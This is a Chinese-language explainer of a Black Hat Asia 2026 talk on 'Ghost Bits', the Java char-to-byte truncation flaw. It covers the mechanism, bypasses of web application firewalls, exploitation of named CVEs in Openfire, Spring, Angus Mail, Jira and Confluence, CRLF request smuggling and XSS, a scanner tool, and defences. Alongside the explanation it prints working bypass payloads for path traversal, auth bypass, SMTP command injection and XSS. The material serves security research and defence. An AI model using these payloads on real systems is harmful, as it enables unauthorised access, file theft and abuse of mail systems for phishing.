

Cast Attack: Java 中 Ghost Bits（幽灵比特）引发的新型威胁

基于 Black Hat ASIA 2026 《Cast Attack: A New Threat Posed by Ghost Bits in Java》PPT，以及补充资料整理。

目标：用超级通俗、好懂、不绕弯的方式，把原理、攻击手法、工具、影响和防御讲清楚。

0. 一句话讲明白

Ghost Bits / 幽灵比特 指的是：

Java 里的 `char` 是 16 位，但某些代码把它强行转成 8 位 `byte`。

结果就是：高 8 位被悄悄丢掉，只剩低 8 位。

攻击者可以利用这个特性，让安全检查看到“奇怪中文/Unicode”，但底层真正执行时变成危险字符。

比如：

```
陪 = U+966A
低 8 位 = 0x6A
0x6A = ASCII 字符 'j'
```

所以：

```
1.陪sp
```

在某些 Java 处理链里可能会变成：

```
1.jsp
```

WAF / 文件类型检查看到的是：

```
1.陪sp
```

服务器保存时却可能变成：

```
1.jsp
```

这就是 Ghost Bits 的核心。

1. 先搞懂三个基础概念

1.1 Java 的 char 是 16 位

Java 里的字符不是简单的 1 字节。很多 Unicode 字符，比如中文，通常会超过 8 位。

例如：

字符	Unicode	十六进制
陪	U+966A	0x966A
阮	U+962E	0x962E
严	U+4E25	0x4E25
瘍	U+760D	0x760D
痲	U+760A	0x760A

1.2 byte 只有 8 位

如果代码写：

```
(byte) ch
```

就是把 16 位的 char 塞进 8 位的 byte。

塞不下怎么办？

高 8 位直接丢掉。

例如：

```
陪 = 0x966A
(byte) 陪 = 0x6A = 'j'
```

1.3 什么是 Ghost Bits?

被丢掉的那部分高位，就是这里说的 **Ghost Bits / 幽灵位 / 幽灵比特**。

它们在安全检查时还“看得见”，因为字符串还是 Unicode；
但一旦底层写成 byte，高位就没了，真实含义发生变化。

通俗类比：

你拿着一张身份证，上面写的是“陪”。
但过闸机的时候，机器只读身份证号最后两位，结果把你识别成了“j”。
人看到的是一个身份，机器执行的是另一个身份。

2. 哪些 Java 写法容易出问题？

PPT 和资料中反复提到这些危险模式：

```
(byte) ch
ch & 0xff
ch & 255
0xff & ch
baos.write(ch)
DataOutputStream.writeBytes(String s)
OutputStream.write(int)
StringBufferInputStream.read
String.getBytes(int, int, byte[], int)
RandomAccessFile.writeBytes
URLDecoder.decode
```

它们的共同问题是：

把字符当成字节处理，或者只保留低 8 位。

尤其危险的场景：

- URL 解码
- 文件名解析
- HTTP header 拼接
- SMTP 命令拼接
- JSON / XML 解析
- Redis 协议写入
- Base64 解码
- 路径规范化
- WAF 检测与后端解析不一致

3. Ghost Bits 的攻击本质

Ghost Bits 的本质不是“中文字符很危险”，而是：

安全检查看到的内容，和最终执行的内容，不是同一个东西。

典型攻击链：

```
攻击者输入 Unicode 字符
    ↓
WAF / 业务校验看到乱码、中文、奇怪字符
    ↓
校验通过
    ↓
底层 Java 代码执行 char -> byte 截断
    ↓
低 8 位变成危险 ASCII 字符
    ↓
触发 SQL 注入 / 文件上传 / 路径穿越 / SMTP 注入 / 请求走私 / XSS
```

简单说：

上层看：安全
底层跑：危险

4. 常见 Ghost Bits 字符映射

攻击者会挑选“低 8 位正好等于目标字符”的 Unicode。

Unicode 字符	Unicode	低 8 位	真实 ASCII
陪	U+966A	0x6A	j
阮	U+962E	0x2E	.
严	U+4E25	0x25	%
灵	U+7075	0x75	u
丰	U+4E30	0x30	0
甲	U+7532	0x32	2
来	U+6765	0x65	e
瘍	U+760D	0x0D	\r
痰	U+760A	0x0A	\n

所以：

阮严灵丰丰甲来

低 8 位折叠后就是：

%.u002e

而：

瘍痰

低 8 位折叠后就是：

\r\n

这就是为什么它既能做路径穿越，也能做 CRLF 注入。

5. 攻击向量一：WAF 绕过

5.1 BCEL 类加载绕过

BCEL 可以把字节码编码成字符串，再由 Java 类加载器解码加载。

问题点类似：

```
bos.write(ch);
```

`ByteArrayOutputStream.write(int)` 只写低 8 位。

攻击者做法：

```
恶意 BCEL 字节码
↓
替换成低 8 位相同的 Unicode 字符
↓
WAF 看到一堆乱码/Unicode
↓
BCEL 解码时恢复真实恶意字节码
↓
触发类加载
```

通俗理解：

WAF 看的是“乱码外壳”，BCEL 执行的是“真实字节码”。

5.2 Jackson JSON 注入绕过

PPT 中提到 Jackson 某些逻辑里存在类似：

```
ch & 255
```

如果攻击者想让后端看到：

```
1 union select 1,2,3--
```

可以构造一串 Unicode：

```
{
  "name": "\u丰丰耳失..."
}
```

WAF 看到：

```
丰丰耳失...
```

不像 SQL 注入。

Jackson 解析时通过低 8 位还原，最终看到：

```
1 union select 1,2,3--
```

结果:

层级	看到的内容
WAF	Unicode 乱码
Jackson	SQL 注入字符串
数据库	真实注入 payload

5.3 Fastjson \u 转义绕过

Fastjson 的 `\uxxxx` 解析中, 资料提到一个容易被忽略的点:

```
Character.digit()
```

它不只认普通 ASCII 数字, 也可能接受其他语言里的数字字符, 比如:

- 泰文数字
- 旁遮普文数字
- Vai 字符等

攻击者可以构造看起来不像:

```
"@type"
```

的内容, 但 fastjson 最终仍解析成:

```
"@type"
```

影响:

绕过 WAF 对 fastjson 反序列化关键字 `@type` 的检测。

5.4 Fastjson \x 转义绕过

PPT 里的例子:

```
{"\x4_type": "..."} 
```

解析逻辑类似:

```
digits[x1] * 16 + digits[x2]
```

其中:

```
'4' -> 4
'_' -> 0
4 * 16 + 0 = 64
64 = '@'
```

于是：

```
"\x4_type"
```

被解析成：

```
"@type"
```

WAF 没看到 @type，fastjson 看到了。

5.5 Tomcat 文件上传绕过

示例：

```
filename*="UTF-8"1.陪sp"
```

WAF 看到：

```
1.陪sp
```

不像 JSP。

但：

```
陪 = U+966A
低 8 位 = 0x6A = j
```

后端保存时可能变成：

```
1.jsp
```

攻击效果：

上传文件名绕过检测，最终落地为 JSP WebShell。

核心问题：

```
文件名校验阶段：Unicode 字符
文件保存阶段：低 8 位字节
```

5.6 全角 URL 编码绕过

普通路径穿越：

```
%2e%2e%2f
```

对应：

```
../
```

全角绕过写法：

```
%2 e%2 e%2 f
```

其中：

全角字符	普通字符
2	2
e	e
f	f

某些 URL / 路径处理链会在多次规范化后把它还原成：

```
../
```

影响：

WAF 没看到标准 `%2e%2e%2f`，后端最终走到路径穿越。

5.7 Ghost-Bit URL 编码绕过

Jetty 案例中有一个非常关键的 payload：

```
%2>
```

它会被 Jetty 某些版本的十六进制转换逻辑解析成：

```
%2E
```

也就是：

```
.
```

所以：

```
%2>%2>
```

等价于：

```
..
```


危险点：

```
WAF 看：%2> 是非法编码/噪声
Jetty 看：%2> 是 .
```

5.8 Base64 解码绕过

资料中提到 JDK 内部某些 Base64 解码器有类似逻辑：

```
pem_convert_array[decode_buffer[i] & 255]
```

攻击者可以用 Unicode：

```
ōŘŖŬ
```

低 8 位折叠后变成：

```
MXVl
```

Base64 解码后得到：

```
lue
```

结果：

层级	看到的内容
WAF	ōŘŖŬ
Base64 解码器	MXVl
解码结果	lue

5.9 GeoServer CVE-2024-36401 绕过

GeoServer 漏洞利用中，常见危险关键字是：

```
Runtime
```

WAF 可能拦截类似：

```
java.lang.Runtime.getRuntime()
```

攻击者可以写成：

```
Ru%6>tme
```

WAF 看到：

```
%6>
```

不像合法 URL 编码，也不匹配 `Runtime`。

Jetty 解析时：

```
%6> -> %6e -> n
```

于是后端最终得到：

```
Runtime
```

效果：

WAF 没拦，后端 RCE payload 继续执行。

5.10 Spring4Shell WAF 绕过

Spring4Shell 里经常出现关键字段：

```
class.module.classLoader.resources.context...
```

WAF 通常会拦：

```
class
```

攻击者可以把 `class` 替换为低 8 位相同的 Unicode 字符：

```
𐀀𐀁𐀂𐀃
```

底层折叠后：

```
class
```

结果：

层级	看到的内容
WAF	𐀀𐀁𐀂𐀃
Spring 后续处理	class

6. 攻击向量二：真实 CVE 漏洞利用

6.1 Openfire CVE-2023-32315：认证绕过

6.1.1 背景

Openfire Admin Console 使用：

```
AuthCheckFilter
```

做访问控制。

某些 setup 路径会被排除认证，例如：

```
/setup/setup-*
```

如果请求路径命中排除规则，就可能绕过后续认证。

6.1.2 传统绕过

传统 payload：

```
/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
```

其中：

```
%u002e = .
```

最终：

```
%u002e%u002e = ..
```

Openfire 的过滤器没识别 `%u002e`，Jetty 后面却把它规范化成 `..`，造成路径穿越和认证绕过。

6.1.3 Ghost Bits 进阶绕过

PPT 中的新 payload：

```
/setup/setup-s/%2>%2>/%2>%2>/log.jsp
```

关键点：

```
%2> -> %2E -> .
```

所以：

```
%2>%2> -> ..
```

过滤器和 WAF 看：

```
%2>
```

像非法编码，通常不匹配黑名单。

Jetty 看：

```
.
```

最终变成路径穿越。

6.1.4 为什么 > 会变成 E？

Jetty 的 `TypeUtil.convertHexDigit` 使用了类似算法：

```
int d = ((c & 0x1f) + ((c >> 6) * 0x19) - 0x10);
```

对字符 >：

```
> 的 ASCII = 0x3E
0x3E & 0x1F = 0x1E = 30
0x3E < 64, 所以 (c >> 6) 部分为 0
30 - 16 = 14
14 的十六进制 = E
```

所以：

```
> -> E
%2> -> %2E -> .
```

通俗理解：

Jetty 想快速把字符压成十六进制数字，但校验不严格，导致不是 hex 的字符也被“算”成了 hex。

6.2 Spring CVE-2025-41242：任意文件读取

6.2.1 背景

PPT 中提到 Spring 的：

```
StringUtils.uriDecode
```

在处理十六进制序列时存在 Ghost Bits 问题。

相关场景：

```
静态资源访问
路径解析
Jetty 作为底层容器
```

6.2.2 Payload 为什么是“阮严灵丰丰甲来”？

Payload 里的字符低 8 位如下：

字符	Unicode	低 8 位	结果
阮	U+962E	0x2E	.
严	U+4E25	0x25	%
灵	U+7075	0x75	u
丰	U+4E30	0x30	0
丰	U+4E30	0x30	0
甲	U+7532	0x32	2
来	U+6765	0x65	e

所以：

```
阮严灵丰丰甲来
```

折叠后就是：

```
.%u002e
```

而：

```
%u002e = .
```

所以最后形成：

```
..
```

6.2.3 为什么能绕过？

关键是“时间差”和“双重解析”。

第一步：Spring 检查阶段

Spring 的静态资源处理会检查路径是否危险：

```
if (isInvalidPath(path)) return null;
```

它主要看有没有：

```
../
```

但此时路径里还是奇怪 Unicode，看不到 `../`。

结果：

```
spring 判断：安全
```

第二步：后续解析阶段

后续进入 Jetty / PathResource 解析链。

Ghost Bits 折叠：

```
阮严灵丰丰甲来 -> .%u002e
```

再解析：

```
.%u002e -> ..
```

结果：

```
实际访问路径发生目录穿越
```

影响：

可以越过静态资源目录，读取任意文件，例如 `/etc/passwd`。

6.3 CVE-2025-7962：SMTP 协议注入

6.3.1 背景

PPT 中提到 Angus Mail / Jakarta Mail 相关代码：

```
bytes[i] = (byte) chars[i++];
```

这会把 Unicode 字符低 8 位写入 SMTP 命令。

6.3.2 为什么能注入 SMTP 命令？

SMTP 是文本协议，命令靠换行分隔。

关键字符：

```
\r = 0x0D  
\n = 0x0A
```

而：

```
瘍 = U+760D -> 低 8 位 0x0D -> \r  
癩 = U+760A -> 低 8 位 0x0A -> \n
```

所以：

```
瘍瘕
```

会变成：

```
\r\n
```

攻击者就可以在邮箱地址里偷偷插入新 SMTP 命令。

6.3.3 SMTP 会话被劫持

应用以为自己在发送：

```
RCPT TO:<attacker@example.com>
```

但攻击者输入里藏了 Ghost Bits，底层可能变成：

```
RCPT TO:<attacker@qq.com>
DATA
Subject:PWNEED

I LOVE YOU!
.
QUIT
```

结果：

邮件发送流程被攻击者接管。

6.4 Jira 案例：系统邮件劫持 / 官方钓鱼邮件

资料中提到 Jira 案例，也标注了：

```
CVE-2025-57733
```

攻击链：

```
攻击者注册账号
↓
Email 字段填入 Ghost Bits payload
↓
Jira 后端发送注册确认邮件
↓
Angus Mail / SMTP 层发生 CRLF 注入
↓
攻击者重写 SMTP 会话
↓
系统发出攻击者自定义钓鱼邮件
```

危害非常大：

- 发件人是真实 Jira 系统邮箱
- 邮件从企业真实服务器发出
- SPF 通过
- DKIM 通过
- DMARC 通过
- 收件人很难判断是伪造

通俗讲：

这不是“伪造官方邮件”，而是“借官方系统真的发了一封恶意邮件”。

6.5 Confluence 案例：绕过企业邮箱后缀限制

场景：

管理员限制：只有 @company.com 或 @confluence.com 邮箱可以注册

正常情况下：

1ue@qq.com -> 不允许
1ue@company.com -> 允许，但攻击者收不到邮件

Ghost Bits 攻击思路：

hacker[GhostBits]@company.com

应用层校验看到：

字符串结尾是 @company.com

所以允许注册。

但 SMTP 底层看到 Ghost Bits 变成 CRLF，真正收件人被截断或重定向为：

hacker@qq.com

结果：

攻击者收到确认邮件
完成内部系统账号注册

本质：

层级	看到的東西
Confluence 业务校验	...@company.com

层级	看到的東西
SMTP 传输层	hacker@qq.com

7. 攻击向量三：CRLF 注入扩展

Ghost Bits 可以制造：

```
\r\n
```

而 CRLF 是很多文本协议的“换行分隔符”。

一旦能注入 CRLF，就可能从一个字段逃逸出去，插入新的协议内容。

7.1 Apache HttpClient：CRLF 到请求走私

资料中提到旧版 Apache HttpClient：

```
<= 4.5.9  
HTTPCLIENT-1974 / HTTPCLIENT-1978
```

风险点：

构造 HTTP header 时，直接把字符数组转换为字节。

攻击者可以把：

```
\u760D\u760A
```

放进 header 值。

低 8 位后：

```
\r\n
```

原本应用以为发送的是：

```
GET /auth HTTP/1.1  
X-Auth-Token: 1瘡癩POST /newRequest HTTP/1.1
```

底层可能变成：

```
GET /auth HTTP/1.1  
X-Auth-Token: 1  
POST /newRequest HTTP/1.1  
Host: target.com
```

影响：

前端代理看到 1 个请求，后端可能看到 2 个请求，造成 HTTP Request Smuggling / 请求走私。

7.2 JDK Native HttpServer: CRLF 到 XSS

资料中提到:

CVE-2026-21933

场景：

JDK 内置 HttpServer 把未验证的用户输入反射到响应头。

攻击者输入:

Cu瘍痾Content-Type: text/html瘍痾Content-Length: 25瘍痾瘍痾<script>alert(1)</script>

底层变成:

Custom-Header: Cu

Content-Type: text/html

Content-Length: 25

```
<script>alert(1)</script>
```

最终可能让浏览器把响应当 HTML 执行，触发 XSS。

本质：

响应头注入 -> 响应体可控 -> XSS

8. 自动化发现工具: Secrux

PPT 中展示了研究团队的工具:

Secrux

用途：

自动扫描Java 项目中潜在 Ghost Bits 风险点。

它重点找类似：

```
(byte) ch
ch & 255
0xff & ch
DataOutputStream.writeBytes
OutputStream.write(int)
StringBufferInputStream.read
String.getBytes(int, int, byte[], int)
RandomAccessFile.writeBytes
URLDecoder.decode
```

简单说：

Secrux 就像一个专门抓“char 被偷偷压成 byte”的安全扫描器。

8.1 Secrux 发现的更多案例

组件	Ghost Bits 表现	可能影响
ActiveJ	HTTP CRLF 注入	Header 注入、协议污染
Lettuce / Redis	Redis 字符串写入时 (byte) char	Redis 协议注入、值覆盖
XMLWriter	标签名低 8 位变化	XML 标签名被篡改
Jodd	路径字符折叠	路径穿越、任意文件读取

8.2 Lettuce Redis 案例

风险代码类似：

```
for (int i = 0; i < value.length(); i++) {
    target.writeByte((byte) value.charAt(i));
}
```

如果业务层看到：

```
{"name": "1ue", "target": "hack"}
```

攻击者可以用 Ghost Bits 构造输入，让 Redis 协议层看到另一段内容。

影响：

Redis 命令或值可能被注入、改写、覆盖。

8.3 XMLWriter 案例

输入：

```
<陪>1ue</陪>
```

因为：

```
陪 -> j
```

处理后可能变成：

```
<j>1ue</j>
```

影响：

XML 标签名被静默替换，可能绕过基于标签名的校验逻辑。

8.4 Jodd 路径案例

资料中的路径：

```
file:///tŵt%2fŭšuyŧ
```

低 8 位折叠后：

```
file:///etc/passwd
```

影响：

上层看是奇怪路径，底层访问的是敏感文件。

9. Ghost Bits 的多态性

PPT 总结了一个重要观点：

Ghost Bits 不是单个漏洞，而是一种漏洞模式。

它可以变成很多类型的攻击：

类型	典型结果
WAF 绕过	WAF 看不到真实 payload
认证绕过	路径解析差异绕过后台认证
路径穿越	Unicode 折叠成 <code>../</code>
任意文件读取	访问静态资源目录外文件
文件上传绕过	1. 陪sp 变 1.jsp
SMTP 注入	邮件会话被劫持
官方钓鱼邮件	借企业真实邮箱发送恶意邮件
域名限制绕过	没有企业邮箱也能注册
请求走私	一个请求变两个请求

类型	典型结果
XSS	响应头注入变响应体脚本
Redis / XML 协议污染	字段、标签、协议内容被改写

一句话：

只要存在“字符到字节的错误折叠”，再叠加协议边界，就可能产生漏洞。

10. 为什么这个问题容易被忽视？

10.1 很多开发者默认字符串是安全的

开发者通常认为：

```
String s
```

就是普通文本。

但在 Java 里：

```
string 里的 char 是 16 位  
网络协议里的 byte 是 8 位
```

如果中间没有正确编码，含义就会变。

10.2 很多老 API 本身就危险

比如：

```
DataOutputStream.writeBytes(String s)
```

这个 API 的语义就是：

把字符串里的每个字符低 8 位写出去。

它不是 UTF-8，也不是安全编码。

10.3 WAF 很难完全模拟后端

WAF 看到的是 HTTP 请求原文。

但后端可能经过：

```
URL decode
Unicode normalize
Servlet container decode
Framework decode
业务 decode
协议库 serialize
底层 byte write
```

只要 WAF 和后端某一层理解不一致，就会出现绕过。

10.4 漏洞经常跨组件出现

Ghost Bits 的危险之处在于它常常不是一个组件独立造成的。

例如 Spring 任意文件读取：

```
Spring 负责检查
Jetty 负责解析
资源处理器负责访问文件
```

每一层单独看似似乎都“有道理”，组合起来却出问题。

11. 防御建议

11.1 开发者：不要手写危险转换

避免：

```
(byte) ch
ch & 0xff
DataOutputStream.writeBytes(str)
OutputStream.write(ch)
```

推荐：

```
str.getBytes(StandardCharsets.UTF_8)
```

或者明确要求 ASCII 时：

```
if (ch > 0x7F) {
    throw new IllegalArgumentException("Non-ASCII character not allowed");
}
```

11.2 解码器：严格拒绝非法字符

URL / Hex / Base64 解码时，不要“宽松容错”。

错误示例：

%2> 也尝试解析
非法 hex 字符也尝试折叠
非标准 Base64 字符也尝试映射

正确做法：

非法就是非法，直接拒绝

11.3 校验顺序要正确

安全校验应该放在最终规范化之后：

输入
↓
统一解码
↓
Unicode 规范化
↓
路径规范化
↓
严格校验
↓
执行

不要这样：

先检查
↓
后解码
↓
后规范化
↓
执行

否则就会出现：

检查时安全，执行时危险

11.4 对协议字段做严格限制

这些位置尤其要严格：

- HTTP Header
- SMTP 地址
- URL Path
- 文件名
- Multipart filename*
- JSON key

- XML tag
- Redis command/value
- 日志字段
- 响应头

建议：

如果协议字段本来只允许 ASCII，就强制只允许 ASCII。

尤其要禁止：

\r
\n
控制字符
非 ASCII 字符
非法百分号编码
非法 Unicode escape

11.5 WAF / 安全产品：模拟真实后端解析链

WAF 不能只看原始请求。

应该尽量模拟：

URL decode
全角/半角归一化
Unicode normalize
容器解析差异
框架二次解码
char -> byte 折叠风险

并对可疑情况直接告警：

高位非零，但低 8 位是危险字符

例如：

U+962E 低 8 位是 .
U+760D 低 8 位是 \r
U+760A 低 8 位是 \n

11.6 企业：排查依赖和升级组件

重点关注：

- Jetty
- Spring Framework / Spring Boot
- Angus Mail / Jakarta Mail

- Apache HttpClient
- Tomcat multipart / RFC2231 解析
- Fastjson
- Jackson
- JDK 内部 Base64 / HttpServer
- Redis 客户端 Lettuce
- XML / URL / Path 处理库

排查方式：

1. 搜索危险 API
2. 看是否处理用户输入
3. 看是否位于协议边界
4. 看是否在安全校验之后发生 char -> byte 转换
5. 做最小化 PoC 验证

12. 快速审计清单

12.1 代码搜索关键词

```
(byte) ch
(byte) c
& 0xff
& 255
writeBytes(
OutputStream.write(
ByteArrayOutputStream.write(
DataOutputStream.writeBytes
RandomAccessFile.writeBytes
StringBufferInputStream
getBytes(int,
URLDecoder.decode
Character.digit
convertHexDigit
fromHex
uriDecode
```

12.2 判断是否真的危险

看到这些代码不一定是漏洞，还要判断：

问题	如果答案是“是”，风险更高
输入是否用户可控？	是
是否进入 URL / 文件名 / Header / SMTP / JSON / XML / Redis？	是
前面是否有 WAF 或业务校验？	是

问题	如果答案是“是”，风险更高
校验是否基于字符串内容？	是
后续是否会转成 byte？	是
低 8 位能否变成危险字符？	是

高危组合：

用户输入 + 字符串校验 + char->byte 截断 + 协议边界

12.3 常见危险低字节

目标字符	十六进制	风险
.	0x2E	路径穿越、扩展名绕过
/	0x2F	路径分隔
%	0x25	二次 URL 编码
@	0x40	fastjson @type、邮箱
:	0x3A	协议字段分隔
;	0x3B	参数分隔
\r	0x0D	CRLF 注入
\n	0x0A	CRLF 注入
"	0x22	JSON / header / 字符串逃逸
'	0x27	SQL 注入
<	0x3C	HTML / XML 注入
>	0x3E	HTML / XML 注入

13. 最终总结

Ghost Bits 的关键不是某一个 CVE，而是一类系统性风险：

Java 16 位 char



错误压缩成 8 位 byte



高位静默丢失



安全检查和真实执行产生差异



攻击者利用差异绕过防护

它能变成：

- WAF 绕过
- 文件上传绕过
- 路径穿越
- 任意文件读取
- 认证绕过
- RCE payload 绕过
- SMTP 注入
- 官方钓鱼邮件
- 企业邮箱限制绕过
- HTTP 请求走私
- XSS
- Redis / XML / 协议污染

最核心的防御原则：

不要让“看见的字符串”和“执行的字节”不一致。

开发者要避免危险转换；

安全产品要模拟真实解析链；

企业要主动扫描这类老 API 和跨组件解析差异。

PPT 的最后观点也很明确：

当前发现的 Ghost Bits 案例只是冰山一角。Java 生态里还有大量未被探索的攻击面。

附录：最简记忆版

如果只记 5 句话：

1. Java char 是 16 位，byte 是 8 位。
2. (byte) ch 会丢掉高 8 位，只保留低 8 位。
3. 攻击者可以让“中文/Unicode”的低 8 位等于危险字符。
4. WAF / 业务校验看到 Unicode，底层执行看到危险 ASCII。
5. 这会导致 WAF 绕过、路径穿越、SMTP 注入、请求走私、XSS 等一系列漏洞。